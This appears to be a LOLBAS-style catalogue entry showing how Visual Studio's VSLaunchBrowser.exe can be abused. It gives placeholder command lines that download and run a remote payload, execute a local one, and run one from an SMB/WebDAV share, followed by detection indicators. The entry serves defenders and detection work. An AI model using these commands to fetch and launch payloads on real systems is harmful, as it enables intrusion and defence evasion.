VSLaunchBrowser.exe

type: OtherMSBinaries
Microsoft Visual Studio browser launcher tool for web applications debugging

Full path

C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe

Commands

  1. DownloadUser T1105

    It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

    VSLaunchBrowser.exe .exe {REMOTEURL:.exe}

    Download and execute payload from remote server

    os: Windows

    Download: INetCache

  2. ExecuteUser T1127

    It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

    VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}

    Execute payload via VSLaunchBrowser as parent process

    os: Windows

    Execute: EXE

  3. ExecuteUser T1127

    It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

    VSLaunchBrowser.exe .exe {PATH_SMB}

    Execute payload from WebDAV server via VSLaunchBrowser as parent process

    os: Windows

    Execute: EXEExecute: Remote

Detection

  • IOCcmd.exe as sub-process of VSLaunchBrowser
  • IOCURL on a VSLaunchBrowser command line
  • IOCVSLaunchBrowser making unexpected network connections or DNS requests

acknowledgement: Avihay Eldad @AvihayEldad